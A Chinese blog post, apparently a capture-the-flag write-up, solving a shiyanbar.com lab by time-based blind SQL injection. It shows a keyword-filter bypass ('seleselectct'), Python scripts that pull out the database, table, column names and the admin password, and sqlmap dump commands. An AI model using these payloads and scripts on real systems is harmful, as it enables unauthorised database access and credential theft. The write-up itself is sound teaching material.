实验吧 看起来有点难（手工注入加sqlmap注入）

Posted 2021-01-08 qincan4q

嗯~打开题目看见一个逼格有点高的图

查看网页源代码，表单以get的方式传送三个参数（admin，pass，action）给index.php，但是限制了两个输入框的最大长度是10，这个是前端的限制，形同虚设。我们可以用按浏览器的F12，改变其值的大小，或者在URL栏中输入都可以。

 

然后我们在输入框中随便输入一点测试看会报什么错，或者过滤了什么关键字符，我们可以输入一些敏感的字符串。然后我们可以看见我们在admin中输入的会打印在屏幕上。并且我们发现用户名框把select，#过滤了，而select只是简单的过滤，可以构造成seleselectct绕过；而且我们在用户名输入admin时爆的错可以让我们确定正确的用户名就是admin

既然知道了用户名，且substring，mid语句都没有被过滤。我们开始构造注入语句看看能不能成功。

 http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin‘ and sleep(5) or ‘1‘=‘0" 

嗯~发现页面等了5~6秒才显示。说明语句执行成功了。可以注入！！

开始写python3脚本

爆库名

 

 1 import requests
 2 import string
 3 
 4 gress=string.ascii_lowercase+string.ascii_uppercase+string.punctuation+string.digits
 5 databaseName=‘‘
 6 
 7 for i in range(1, 13):   #假设库名长度为12
 8     for playload in gress:
 9 
10         url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin‘ and case when(substr(database(),%s,1)=‘%s‘) then sleep(10) else 1 end or ‘1‘=‘0" %(i,playload)
11         #key={‘pass‘:‘‘,‘action‘:‘login‘}
12         try:
13             print("正在测试第%d个字符是否为‘%s‘"%(i,playload))
14             r = requests.get(url,timeout=4)
15         except:
16             suo=0
17             databaseName+=playload
18             print("数据库名为是%s"%databaseName)
19             break
20 
21 print(databaseName)

 

 

 

 

库名是test

 然后开始爆表名

 1 import requests
 2 import string
 3 
 4 url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
 5 str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
 6 tableName=[]
 7 for i in range(0,5):   #假设web4中有五个表
 8     Name=‘‘
 9     flag2=0
10     for col in range(1,11):#假设每个表的最大长度不超过10
11         flag=0
12         for payload in str:
13             url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin‘ and case when(substr((seleselectct table_name from information_schema.tables where table_schema=‘test‘ limit 1 offset %d),%d,1)=‘%s‘) then sleep(5) else 1 end or ‘1‘=‘0" %(i,col,payload)
14             try:
15                 print(url)
16                 r = requests.get(url, timeout=4)
17             except:
18                 flag=1
19                 flag2=1
20                 Name += payload
21                 print("第%s个表为是%s" % (i+1,Name))
22                 break
23         #tableName.append(Name)
24         if flag==0:
25             break
26     if(flag2==0):
27         break
28     tableName.append(Name)
29 
30 for a in range(len(tableName)):
31     print(tableName[a])

就一张表，表名为admin

爆字段

 

 1 import requests
 2 import string
 3 
 4 url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
 5 str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
 6 columnName=[]
 7 for i in range(0,5):
 8     Name=‘‘
 9     flag2=0
10     for col in range(1,11):#假设每个列名的最大长度不超过10
11         flag=0
12         for payload in str:
13             url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin‘ and case when(substr((seleselectct column_name from information_schema.columns where table_name=‘admin‘ limit 1 offset %d),%d,1)=‘%s‘) then sleep(5) else 1 end or ‘1‘=‘0" % (i, col, payload)
14             try:
15                 print(url)
16                 r = requests.get(url, timeout=4)
17             except:
18                 flag=1
19                 flag2=1
20                 Name += payload
21                 print("第%s个字段为是%s" % (i+1,Name))
22                 break
23         if flag==0:
24             break
25     if(flag2==0):
26         break
27     columnName.append(Name)
28 
29 for a in range(len(columnName)):
30     print(columnName[a])

 

 

 

爆出字段内容

 1 import requests
 2 import string
 3 
 4 gress=string.ascii_lowercase+string.ascii_uppercase+string.punctuation+string.digits
 5 databaseName=‘‘
 6 
 7 for i in range(1, 16):   #假设库名长度为15
 8     for playload in gress:
 9 
10         url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin‘ and case when(substr((seleselectct password from admin),%d,1)=‘%s‘) then sleep(5) else 1 end or ‘1‘=‘0" %(i,playload)
11 
12         try:
13             print("正在测试第%d个字符是否为‘%s‘"%(i,playload))
14             r = requests.get(url,timeout=4)
15         except:
16             suo=0
17             databaseName+=playload
18             print("内容为是%s"%databaseName)
19             break
20 
21 print(databaseName)

OK 内容就是idnuenna。

 

 

下面用sqlmap来注入。

在sqlmap中输入

  sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" 

发现是可以注入的！

开始爆库名

 sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --dbs 

 

爆表名

 sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --tables -D "test" 

 

爆列名

sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --columns -T "admin" -D "test"

爆内容

sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --dump -C "password" -T "admin" -D "test"

好啦，密码已经出来啦